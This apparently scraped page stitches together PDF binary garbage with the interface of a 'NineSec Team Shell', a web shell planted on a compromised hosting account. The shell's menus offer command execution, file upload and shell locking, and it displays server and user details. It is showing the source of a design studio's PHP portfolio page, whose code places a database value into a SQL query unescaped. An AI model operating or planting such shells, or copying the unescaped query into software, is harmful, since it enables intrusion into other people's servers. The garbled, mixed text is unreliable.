%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  �a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q�f ^ u>� $k�( �H l�EW o W  %l d] 6 ] - L  > 9 t* y 4� b 5 Q\ \�v U  2c 3  c qM�= |  IT: S � |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " �3 }$jH q w bx B" < 5b }%�+ 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx�.) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f�d v*� ' i � G j * cB� zi  _  j z[ 7; 2 -  zZ  f V � z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3� l� ]u b-5 Fwm z zp)M ) jO q� u q  E K l 7  [[ y Xg e ~ , 9 � k; +ny  )s=9) � u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w� e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d, � 4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 217.21.91.109  /  Your IP : 216.73.216.190
Web Server : LiteSpeed
System : Linux in-mum-web830.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u903744608 ( 903744608)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u903744608/domains/designspoint.net/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u903744608/domains/designspoint.net/public_html/editing.php
<?php include 'header.php';?>
    <div class="bread-crumb-section">
        <div class="container">
            <div class="row justify-content-center align-items-center">
                <div class="col-lg-8 d-flex justify-content-lg-start justify-content-center flex-column">
                    <h2 class="bread-crumb-title">Editing & Post Production</h2>
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb gap-3 m-0 p-0">
                            <li class="breadcrumb-item"><a href="index.php">Home</a></li>
                            <li class="breadcrumb-item active" aria-current="page">Editing & Post Production</li>
                        </ol>
                    </nav>
                </div>
                <div class="col-lg-4">
                    <div class="circle-text-common circel-tex-area1">
                        <img src="assets/images/bg/logod.png" alt="image" width="130px">
                        <p id="CircleTypeText1" class="circle-text">designs point *&nbsp; </p>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <div class="our-portfilio-area bg-color2 pt-50 pb-120">
        <div class="container">
           <div class="row justify-content-center g-4">
               <div class="col-lg-12 text-center">
                   <h2 class="section-title-one">Retouched</h2>
               </div>
               <div class="col-lg-12">
                   <div class="filters filter-button-group">
                       <ul class="d-flex justify-content-lg-center justify-content-center flex-wrap">
                           <?php
                           include('admin/connection.php');
                            //                           function getTotalItemCount($conn) {
                            //                               $totalCountSql = "SELECT COUNT(*) AS total FROM photo_management JOIN production ON photo_management.category_id = production.id
                            //                                WHERE production.title != 'Production' AND  production.sub_category_services != production.title";
                            //                               $totalCountResult = $conn->query($totalCountSql);
                            //                               $totalCountRow = $totalCountResult->fetch_assoc();
                            //
                            //                               return $totalCountRow['total'];
                            //                           }
                           $sql = "SELECT DISTINCT title, filter_class, sub_category_services, is_production FROM production";
                           $result = $conn->query($sql);
                           if ($result->num_rows > 0) {
                               echo '<li class="active" data-filter="*">All <span ></span></li>';
                               while ($row = $result->fetch_assoc()) {
                                   $filter_class = htmlspecialchars($row['filter_class']);
                                   $category = htmlspecialchars($row['title']);
                                   $subcategory = htmlspecialchars($row['sub_category_services']);
                                    $is_production = htmlspecialchars($row['is_production']);
                                   if ($is_production != 1 && $category != $subcategory) {
                                       echo '<li data-filter=".' . $filter_class . '">' . $category . ' <span></span></li>';
                                   }
                               }
                           } else {
                               echo '<li>No categories found</li>';
                           }
                           $conn->close();
                            //                           function getItemCountForFilterClass($conn)
                            //                           {
                            //                               $totalCountSql = "SELECT COUNT(*) AS total FROM photo_management JOIN production ON photo_management.category_id = production.id
                            //                                WHERE production.title = photo_management.category_id";
                            //                               $totalCountResult = $conn->query($totalCountSql);
                            //                               $totalCountRow = $totalCountResult->fetch_assoc();
                            //                               return $totalCountRow['total'];
                            //                           }
                           ?>
                       </ul>
                   </div>
               </div>
           </div>
            <div class="row grid g-4 mb-70 justify-content-center">
                <?php
                include('admin/connection.php');

                $sqlImages = "SELECT category_id,image FROM photo_management ORDER BY id DESC";
                $resultImages = $conn->query($sqlImages);

                if (!$resultImages) {
                    die("Query failed: " . $conn->error);
                }

                if ($resultImages->num_rows > 0) {
                    while ($image = $resultImages->fetch_assoc()) {
                        $catId = $image['category_id'];
                        $categorySql = "SELECT `title`,`sub_category_services`,`filter_class`, `is_production`FROM production where id='$catId'";
                        $resultCategoriess = $conn->query($categorySql);
                        $catData = $resultCategoriess->fetch_assoc();
                        $filterClass = htmlspecialchars($image['category_id']);
                        $category = htmlspecialchars($catData['title']);
                        $subcategory = htmlspecialchars($catData['sub_category_services']);
                         $isproduction = htmlspecialchars($catData['is_production']);


                        if ($isproduction !=1 && $category != $subcategory) {
                            $image_path = 'admin/photomanagement/uploads/' . basename($image['image']);
                          ?>
                          <div class="col-xl-4 col-lg-4 col-md-6 col-sm-6 grid-item <?= $catData['filter_class'] ?>">
                            <img class="img-fluid" src="<?= $image_path ?>" alt="image" style='max-width: 1000px;'>
                          </div>
                         <?php
                        }
                    }
                } else {
                    ?>
                    <div class="col-12 text-center">No images found</div>
                    <?php
                }

                $conn->close();
                ?>
            </div>
        </div>
    </div>










<?php include 'footer.php';?>

NineSec Team - 2022